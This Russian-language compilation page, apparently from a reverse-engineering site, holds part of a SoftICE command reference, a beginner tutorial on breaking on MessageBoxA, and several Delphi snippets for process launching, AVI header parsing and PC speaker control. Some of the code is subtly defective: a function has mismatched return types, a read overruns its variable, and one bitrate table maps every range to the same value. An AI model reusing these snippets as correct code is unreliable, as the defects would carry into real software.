Эта команда выводит текущие значения флагов и предоставляет возможность их изменения.


 R FL O +A -C
 

Эта команда переключает значение флага O, устанавливает флаг A и сбрасывает флаг C.

MAP

MAP -- Показать карту памяти системы

Синтаксис:


 MAP
 

Комментарии:

Команда MAP выводит названия, местоположение и размеры компонент памяти системы. Размер указывается в параграфах. Один параграф эквивалентен 10 (шестнадцатеричное) байтам.

Компонент, на который в настоящее время указывает CS:IP, подсвечивается.

Используйте команду MAP когда:

  • Произошел останов и CS:IP в неизвестной области памяти.
  • Вы хотите получить контроль над резидентной или системной программой. Точка останова на диапазон может быть установлена основываясь на адресе начала и размере, отраженных командой MAP.
  • Вы подозреваете программу или компонент системы в записи поверх кода вне своей области памяти. MAP используется, чтобы получить адрес памяти области для использования в команде CSIP.
  • Вам необходимо выяснить, какая резидентная программа перехватывает определенные векторы прерываний.

Пример:


 MAP
 

Вот - пример вывода, произведенного командой:

Начало Длина
0000:0000 0040 Таблица Векторов Прерываний
0040:0000 0030 Переменные ROM BIOS
0070:0000 00FE Система ввода/вывода
016E:0000 06B7 DOS
0842:0000 02CE Таблицы файлов и Буферы DOS
A000:0000 5E00 Системная шина
F000:0000 1000 ROM BIOS

Версии DOS ниже, чем 3.1 выдают адреса программ вместо вывода их названий.

D, DB, DW, DD

D, DB, DW, DD -- Показать память

Синтаксис:


 D [размер] [адрес] [L[ = ]длина]
 

размер -- B -- Байт
W -- Слово
D -- Двойное Слово

длина -- Число байтов, которое должно быть выведено.

Комментарии:

Команда D выводит содержимое памяти по указанному адресу.

Содержимое выдается в формате указанного размера. Если размер не определен, вывод произойдет в последнем используемом формате. Для всех форм также выдается ASCII представление.

Если адрес не определен, команда выводит память по адресу начинающемуся с первого байта после последнего показанного байта.

Если длина не определена, по умолчанию принимается восемь строк или меньше если высота окна меньше.

Если окно данных видимо, данные выводятся в окне данных и длина игнорируется.

Пример:


 DW DS:00 L=8
 

Эта команда показывает в формате слова (WORD) и в ASCII- формате значение первых восьми байтов текущего сегмента данных.

E, EB, EW, ED

E, EB, EW, ED -- Редактировать память

Синтаксис:


 E [размер] адрес [список-данных]
 

Размер -- B -- Байт
W -- Слово
D -- Двойное Слово

список данных -- список объектов данных указанного размера (Байты, Слова или Двойные Слова) или строк в кавычках, разделенных запятыми или пробелами. Строка может начинаться одинарной или двойной кавычкой.

Комментарии:

Команды E показывают содержимое памяти по указанному адресу и позволяет вам редактировать значения.

Эта команда показывают содержимое памяти в формате ASCII и в формате указанного размера.

Редактор памяти создан для быстрой ее модификации. Память можно редактировать вводя ASCII-символы или вводя значения размером байт, слово или двойное слово. Если размер не определен, будет принят последний использованный размер.

Вот клавиши редактирования памяти:

-- Перемещает курсор вверх
-- Перемещает курсор вниз
-- Перемещает курсор вправо
-- Перемещает курсор влево

ПРОБЕЛ -- Перемещает курсор на следующий элемент
TAB -- переключает между числовым и ASCII-областями
ESC или
ВВОД -- Выход из редактора памяти

После ввода значения обновляются реальные ячейки памяти. Все числовые значения - шестнадцатеричные числа. Для перехода между ASCII и числовой областями экрана нажмите клавишу TAB.

Если окно данных видимо, данные редактируются в окне данных, иначе данные редактируются в окне команд.

Длина данных по умолчанию принимается 8 строк, если в окне команд, или равной размеру окна данных, если оно видимо.

При отсутствии параметров, курсор перемещается в окно данных, если оно видимо. Если окно данных не видимо, данные редактируются в окне команд по последнему отображенному или редактированному адресу.

Примеры:


 EB 1000:0
 

Эта команда выводит в формате байта до шести строк, содержащих как числовое, так и ASCII представление значений данных, начиная с ячейки 1000:0000. Вы можете редактировать значения отображенных строк. EB 8000:0 "Привет",0D Эта команда заменяет значения, начинающиеся с ячейки 8000:0000, строкой "Привет", сопровождаемой знаком возврата каретки.

INT?

INT? -- Выводит номер последнего прерывания

Синтаксис:


 INT?
 

Комментарии:

Команда INT? отображает адрес и номер последнего происшедшего прерывания.

Пример:


 INT?
 

Вот пример экрана, выданного командой INT?:


 Last Interrupt: 16
 At: 0070:0255
 

Этот пример показывает, что последним прерыванием, сгенерированным системой перед вызовом окна Soft-ICE, было прерывание 16 (шестнадцатеричный номер) по адресу 0070:0255H. Если последнее происшедшее прерывание было программным, дизассемблирование кода по адресу 0070:0255H покажет инструкцию прерывания. Если это было аппаратное прерывание, дизассемблирование кода покажет команду, которая выполнялась когда произошло аппаратное прерывание.

? Или H

? Или H -- Выводит справочную информацию




Основы работы с SoftIce

Любимая песня Модерн Токинг для компьютерщика: "You my hard, you my soft".

Вернемся теперь к установленному нами в первой статье SoftICE и попытаемся разобраться с интерфейсом этой замечательной программы и также узнаем команды, которые нам пригодятся в самое ближайшее время.

Так как SoftICE работает в 0-м кольце защиты, получить изображение интерфейса программы практически невозможно. Поэтому все описание будет чисто текстовым. Если при установке программы Вы следовали нашим указаниям, то сейчас интерфейс отладчика состоит из следующих частей (назовем их окнами, потому, что с ними действительно можно работать как с окнами - включать, выключать, изменять размер):

  • Самое верхнее окно - окно регистров (wr - сокращенное обозначение, используемое в SoftICE). В этом окне отображается содержимое регистров процессора. Отдельно от остальных в правом углу отображается состояние регистра флагов (каждого флага в отдельности). Наибольшее значение для нас имеет флаг нуля (изображается символом z). Заглавная буква Z означает, что флаг установлен, строчная - флаг сброшен. Под содержимым регистра флагов отображается также очень полезная для нас информация, но подробно я расскажу о ней в следующих статьях. Окно регистров включается и выключается командой wr.
  • Следующее - окно данных. В нем мы можем наблюдать содержимое интересующего нас участка памяти. Существует несколько различных форм представления информации в этом окне:
    • db - информация отображается в виде байтов (byte)
    • dw - информация отображается в виде слов (word)
    • dd - информация отображается в виде двойных слов (double word - dword)

    Информация в этом окне меняется при изменении содержимого участка памяти, т.е. Вы всегда видите именно то, что находится в данный момент в памяти. Окно включается и выключается командой wd.

  • Ниже расположено окно кода. В нем отображается дизассемблированный текст исследуемой программы. Курсор (красная строка для рекомендованных настроек) указывает на команду, которая будет выполнена на следующем шаге. В нижней части окна (на желтой полоске) показано, в каком модуле мы в данный момент находимся. Переключается окно с помощью команды wc.
  • Самое нижнее окно - окно команд SoftICE. Здесь Вы вводите команды и получаете некоторую полезную информацию о работе SoftICE. Т.к. выводимая информация целиком зависит от введенных команд, то описывать ее мы будем для каждой команды отдельно.

Работа всех Windows-приложений основана на вызове API-функций. Это очень удобно и выгодно. Например, для вывода окна сообщения с некоторым текстом, достаточно вызвать функцию MessageBoxA с адресом выводимой строки в качестве аргумента. Замечательной особенностью SoftICE является то, что Вы можете устанавливать точки прерывания на вызовы API-функций. Установив точку прерывания на некоторую строку программы, Вы сообщаете SoftICE, что при достижении этой строки программа должна прервать свое выполнение и возвратить управление отладчику. Например, Вы установили точку прерывания на выполнение команды по адресу 40А00020, а затем запускаете программу с адреса 40А00000. Дойдя до строки с адресом 40А00020, программа прервется, управление вновь вернется в SoftICE, и Вы сможете узнать содержимое регистров процессора, участков памяти, а также, при необходимости, что-то изменить.

Точка прерывания на вызов API-функции устанавливается точно так же, как и не выполнение команды по определенному адресу. При вызове функции программа прерывается в самом ее начале, и после этого Вы можете выполнить необходимые Вам действия. Обычно точку прерывания на вызов API-функции устанавливают, когда хотят узнать, из какого места программы она вызывается. Допустим, в программе имеется следующий фрагмент:


некоторый код
 ...
 40200100 call MessageBoxA
 40200105 cmp eax, 01
 ...
 продолжение программы

Вы точно знаете, что вызывается функция MessageBoxA, но не знаете, что это происходит по адресу 40200100h. Для того, чтобы это выяснить мы должны проделать следующее:

  • Активизируем SoftICE (Ctrl+D)
  • Устанавливаем точку прерывания на вызов функции MessageBoxA (bpx MessageBoxA, советуем всегда писать общепринятые имена функций с заглавными и строчными буквами, SoftICE их не различает, а Вы так быстрее запомните). При этом происходит следующее: SoftICE устанавливает точку прерывания на выполнение первой команды указанной функции
  • Выходим в Windows (F5)
  • Выполняем те действия, в результате которых произойдет вызов функции MessageBoxA
  • При вызове этой функции (сообщение в окне команд) программа прерывается в модуле USER (указано в низу окна кода) и активизируется SoftICE, при этом курсор установлен на первой команде функции MessageBoxA. Чтобы узнать, из какого места произошел ее вызов, используем команду p ret (быстрая клавиша F12) - продолжение программы до выполнения команды ret (команда возврата из подпрограммы)
  • После этого, программа вновь прерывается по адресу 40200105 (на этой строке установлен курсор), а на предыдущей строке мы видим, что происходит вызов MessageBoxA. Вот мы и нашли то место, откуда вызывается функция MessageBoxA

Мы описали лишь незначительную часть команд SoftICE. Остальные подробно рассмотрим по мере их использования в наших следующих исследованиях конкретных программ. Что ж, мы уже немного освоились в SoftICE и вплотную подошли к необходимости использования дизассемблера. Без него никакого серьезного исследования программы Вам провести не удастся. Наш следующий рассказ о IDA Pro.


Отсортировать выполнение процессов в системе

Автор: Евгений Левшаков
WEB сайт: mcsa.ru

Нужно отсортировать выполнение процессов в системе, т.е. поочередно выполнить несколько процессов, тем самым автоматизировать некоторый " трудовой процесс" ? Этот код предоставляет такую возможность. Вы создаете " кадр" существующих в системе процессов, находите в нем нужный вам процесс по его ID и обрабатываете его сообщение.


 unit PIDProcessing;
 
 interface
 
 function PIDExists(PID:Integer):boolean;
 function RunProgram(ExeProgram:String):integer;
 
 implementation
 
 uses TLHelp32, Windows;
 
 function PIDExists(PID:Integer):boolean;
     {возвращает true, если процесс найден}
 var hSnap:Cardinal;
     // Snapshot (" кадр" ) запущенных процессов в системе
     ProcessEntry:TProcessEntry32;
     // информация о процессе
     Finding:LongBool;
     // возвращает true, 
        если первый  процесс скопирован в буфер,
        иначе false
     Found:Boolean;
     // возвращает true, 
        если в системе есть запущенные процессы
  begin
  hSnap:=CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS,0);
 
          {создаем " кадр"  запущенных процессов}
 
   if hSnap=0 then
     begin
     Result:=False;
     Exit;
     end;
   Found:=False;
   ProcessEntry.dwSize:=SizeOf(ProcessEntry);
   Finding:=Process32First(hSnap,ProcessEntry);
 
        {предоставляет информацию
         о первом процессе в " кадре" }
 
   While Finding do
     begin
     if PID=ProcessEntry.th32ProcessID then Found:=True;
 
        {если необходимый процесс найден,
        возвращаем true}
 
     Finding:=Process32Next(hSnap,ProcessEntry);
 
        {предоставляет информацию
         о следующем процессе в " кадре" }
 
     end;
   CloseHandle(hSnap);
   Result:=Found;
 end;
 
 function RunProgram(EXEProgram:String):Boolean;   
 
        {Возвращает true,
         если процесс системы выполнен}
 
 var si:TStartupInfo;   
 
        {определение свойств главного окна,
         создаваемого приложения}
 
     pi:TProcessInformation;
 
        {информация о созданном процессе
         и его главном потоке}
 begin
   FillMemory(@si,sizeof(si),0);
   si.cb:=Sizeof(si);
   Result:=False;
   if EXEProgram< > '' then
    if CreateProcess(nil,PChar(EXEProgram),
     nil,nil,false,
         NORMAL_PRIORITY_CLASS,nil,nil,si,pi) then
 
     {создаем процесс}
 
      begin
 
      {до тех пор пока процесс существует в " кадре"
       обрабатываем его сообщение}
 
      While PIDExists(pi.dwProcessId)
             do Application.ProcessMessages;
 
      CloseHandle(pi.hProcess);
 
      {закрываем процесс}
 
      CloseHandle(pi.hThread);
 
      {останавливаем поток,
       порожденный процессом}
 
           Result:=True;
         end;
 end;
 
 end.
 




Получение информации о звуковых файлах


 // First, put a memo, button and a open dialog on an empty form.
 // Then use the following code to show the information of a avi file.
 
 unit Unit1;
 
 interface
 
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   StdCtrls;
 
 type
   TForm1 = class(TForm)
     Button1: TButton;
     Memo1: TMemo;
     OpenDialog1: TOpenDialog;
     procedure Button1Click(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
     procedure ReadAviInfo(FileName: string);
 
   end;
 
 var
   Form1: TForm1;
 
 implementation
 
 {$R *.DFM}
 
 procedure TForm1.ReadAviInfo(FileName: string);
 var
   iFileHandle: Integer; // File handle
 
   // Needed for positioning in the avi file
   Aviheadersize: integer;
   Vheadersize: integer;
   Aviheaderstart: integer;
   Vheaderstart: integer;
   Aheaderstart: integer;
   Astrhsize: integer;
 
   // Temporary values
   TempTest: String[5];
   TempSize: Integer;
   TempVcodec: String[5];
   TempAcodec: integer;
   TempMicrosec: integer;
   TempLengthInFrames: integer;
   TempAchannels: integer;
   TempAsamplerate: integer;
   TempAbitrate: integer;
 
   // Final values
   Size: double;
   Length: string;
   Vcodec: string;
   Vbitrate: double;
   VWidth: integer;
   VHeight: integer;
   Fps: double;
 
   LengthInSec: double;
   Acodec: string;
   Abitrate: string;
 begin
   // Open the file
   iFileHandle := FileOpen(FileName, fmOpenRead);
 
   // Test to see if file is AVI
   FileSeek(iFileHandle, 7, 0);
   FileRead(iFileHandle, TempTest, 5);
   if copy(TempTest, 0, 4) <> 'AVI ' then
   begin
     MessageDlg('Could not open ' + FileName +
       ' because it is not a valid video file', mtError, [mbOk], 0);
     Exit;
   end;
 
   // File size
   FileSeek(iFileHandle,4,0);
   FileRead(iFileHandle, TempSize, 4);
 
   // Avi header size (needed to locate the audio part)
   FileSeek(iFileHandle,28,0);
   FileRead(iFileHandle, Aviheadersize, 4);
 
   // Avi header start (needed to locate the video part)
   Aviheaderstart := 32;
 
   // Microseconds (1000000 / TempMicrosec = fps)
   FileSeek(iFileHandle,Aviheaderstart,0);
   FileRead(iFileHandle, TempMicrosec, 4);
 
   // Length of movie in frames
   FileSeek(iFileHandle,Aviheaderstart + 16,0);
   FileRead(iFileHandle, TempLengthInFrames, 4);
 
   // Width
   FileSeek(iFileHandle,Aviheaderstart + 32,0);
   FileRead(iFileHandle, VWidth, 4);
 
   // Height
   FileSeek(iFileHandle,Aviheaderstart + 36,0);
   FileRead(iFileHandle, VHeight, 4);
 
   FileSeek(iFileHandle,Aviheaderstart + Aviheadersize + 4,0);
   FileRead(iFileHandle, Vheadersize, 4);
 
   Vheaderstart := Aviheaderstart + Aviheadersize + 20;
 
   // Video codec
   FileSeek(iFileHandle,Vheaderstart + 3,0);
   FileRead(iFileHandle, TempVCodec, 5);
 
   Aheaderstart := Vheaderstart + Vheadersize + 8;
 
   FileSeek(iFileHandle,Aheaderstart - 4,0);
   FileRead(iFileHandle, Astrhsize, 5);
 
   // Audio codec
   FileSeek(iFileHandle,Aheaderstart + Astrhsize + 8,0);
   FileRead(iFileHandle, TempACodec, 2);
 
   // Audio channels (1 = mono, 2 = stereo)
   FileSeek(iFileHandle,Aheaderstart + Astrhsize + 10,0);
   FileRead(iFileHandle, TempAchannels, 2);
 
   // Audio samplerate
   FileSeek(iFileHandle,Aheaderstart + Astrhsize + 12,0);
   FileRead(iFileHandle, TempAsamplerate, 4);
 
   // Audio bitrate
   FileSeek(iFileHandle,Aheaderstart + Astrhsize + 16,0);
   FileRead(iFileHandle, TempAbitrate, 4);
 
   // Close the file
   FileClose(iFileHandle);
 
   // Analyse the video codec (more can be added)
   Vcodec := copy(TempVcodec, 0, 4);
   if Vcodec = 'div2' then Vcodec := 'MS MPEG4 v2'
   else if Vcodec = 'DIV2' then Vcodec := 'MS MPEG4 v2'
   else if Vcodec = 'div3' then Vcodec := 'DivX;-) MPEG4 v3'
   else if Vcodec = 'DIV3' then Vcodec := 'DivX;-) MPEG4 v3'
   else if Vcodec = 'div4' then Vcodec := 'DivX;-) MPEG4 v4'
   else if Vcodec = 'DIV4' then Vcodec := 'DivX;-) MPEG4 v4'
   else if Vcodec = 'div5' then Vcodec := 'DivX;-) MPEG4 v5'
   else if Vcodec = 'DIV5' then Vcodec := 'DivX;-) MPEG4 v5'
   else if Vcodec = 'divx' then Vcodec := 'DivX 4'
   else if Vcodec = 'mp43' then Vcodec := 'Microcrap MPEG4 v3';
 
   // Analyse the audio codec (more can be added)
   case TempAcodec of
     0: Acodec := 'PCM';
     1: Acodec := 'PCM';
     85: Acodec := 'MPEG Layer 3';
     353: Acodec := 'DivX;-) Audio';
     8192: Acodec := 'AC3-Digital';
   else
     Acodec := 'Unknown (' + IntToStr(TempAcodec) + ')';
   end;
 
   case (Trunc(TempAbitrate / 1024 * 8)) of
     246..260: Abitrate := '128 Kbit/s';
     216..228: Abitrate := '128 Kbit/s';
     187..196: Abitrate := '128 Kbit/s';
     156..164: Abitrate := '128 Kbit/s';
     124..132: Abitrate := '128 Kbit/s';
     108..116: Abitrate := '128 Kbit/s';
     92..100: Abitrate := '128 Kbit/s';
     60..68: Abitrate := '128 Kbit/s';
   else
     Abitrate := FormatFloat('# Kbit/s', TempAbitrate / 1024 * 8);
   end;
 
   // Some final calculations
   Size := TempSize / 1024 / 1024;
   Fps := 1000000 / TempMicrosec; // FPS
   LengthInSec := TempLengthInFrames / fps; // Length in seconds
   Length := FormatFloat('# min', Int(LengthInSec / 60)) +
     FormatFloat(' # sec', Round(LengthInSec - (Int(LengthInSec / 60) * 60)));
   Vbitrate := (TempSize / LengthInSec - TempABitrate) / 1024 * 8;
 
   // Output information to memo field
   Memo1.Lines.Add('AVI INFORMATION');
   Memo1.lines.Add('Size: ' + FormatFloat('#.## MB',Size));
   Memo1.Lines.Add('Length: ' + Length);
   Memo1.Lines.Add('');
   Memo1.Lines.Add('VIDEO INFORMATION');
   Memo1.Lines.Add('Codec: ' + Vcodec);
   Memo1.Lines.Add('Bitrate: ' + FormatFloat('# Kbit/s', Vbitrate));
   Memo1.lines.Add('Width: ' + IntToStr(VWidth) + ' px');
   Memo1.lines.Add('Height: ' + IntToStr(VHeight) + ' px');
   Memo1.Lines.Add('FPS: ' + FormatFloat('#.##', fps));
   Memo1.Lines.Add('');
   Memo1.Lines.Add('AUDIO INFORMATION');
   Memo1.Lines.Add('Codec: ' + Acodec);
   Memo1.Lines.Add('Bitrate: ' + Abitrate);
 end;
 
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   OpenDialog1.Filter := 'AVI files (*.avi)|*.avi';
   if OpenDialog1.Execute then
   begin
     Memo1.Clear;
     ReadAviInfo(OpenDialog1.FileName);
   end;
 end;
 
 end.
 




Звук через PC Speaker

Автор: Nomadic


 procedure TForm1.mybeep(Tone: Word; Delay: Integer);
 begin
   asm
     mov   al,  0b6H
     out   43H, al
     mov ax,Tone
     out 42h,al
     ror ax,8
     out 42h,al
     in    al,  61H
     or    al,  03H
     out   61H, al
   end;
   sleep(Delay);
   asm
     in    al,  61H
     and   al,  0fcH
     out   61H, al
   end;
 end;
 




Как управлять спикером под 9х из Delphi

Под WinNT/2000/XP вы можете использовать Beep(Tone, Duration) (задавать тон и продолжительность звучания). А под 9.x/Me эта функция не реализована, но можно командовать железом через порты, и сделать универсальную:


 unit BeepUnit;
 
 // универсальная - версию виндовса проверяет
 procedure Beep(Tone, Duration: Word);
 procedure Sound(Freq : Word);
 procedure NoSound;
 procedure SetPort(address, Value:Word);
 function GetPort(address:word):word;
 
 implementation
 
 procedure SetPort(address, Value:Word);
 var
   bValue: byte;
 begin
   bValue := trunc(Value and 255);
   asm
     mov dx, address
     mov al, bValue
     out dx, al
   end;
 end;
 
 function GetPort(address:word):word;
 var
   bValue: byte;
 begin
   asm
     mov dx, address
     in al, dx
     mov bValue, al
   end;
   GetPort := bValue;
 end;
 
 procedure Sound(Freq : Word);
 var
   B : Byte;
 begin
   if Freq > 18 then
   begin
     Freq := Word(1193181 div LongInt(Freq));
     B := Byte(GetPort($61));
     if (B and 3) = 0 then
     begin
       SetPort($61, Word(B or 3));
       SetPort($43, $B6);
     end;
     SetPort($42, Freq);
     SetPort($42, Freq shr 8);
   end;
 end;
 
 procedure NoSound;
 var
   Value: Word;
 begin
   Value := GetPort($61) and $FC;
   SetPort($61, Value);
 end;
 
 procedure Beep(Tone, Duration: Word);
 begin
   if SysUtils.Win32Platform = VER_PLATFORM_WIN32_NT then
     Windows.Beep(Tone, Duration)
   else
   begin
     Sound(Tone);
     Windows.Sleep(Duration);
     NoSound;
   end;
 end;
 
 end.
 




<< ВЕРНУТЬСЯ В ОГЛАВЛЕНИЕ



Материалы находятся на сайте https://exelab.ru/pro/



Оригинальный DVD-ROM: eXeL@B DVD !


Вы находитесь на EXELAB.rU
Проект ReactOS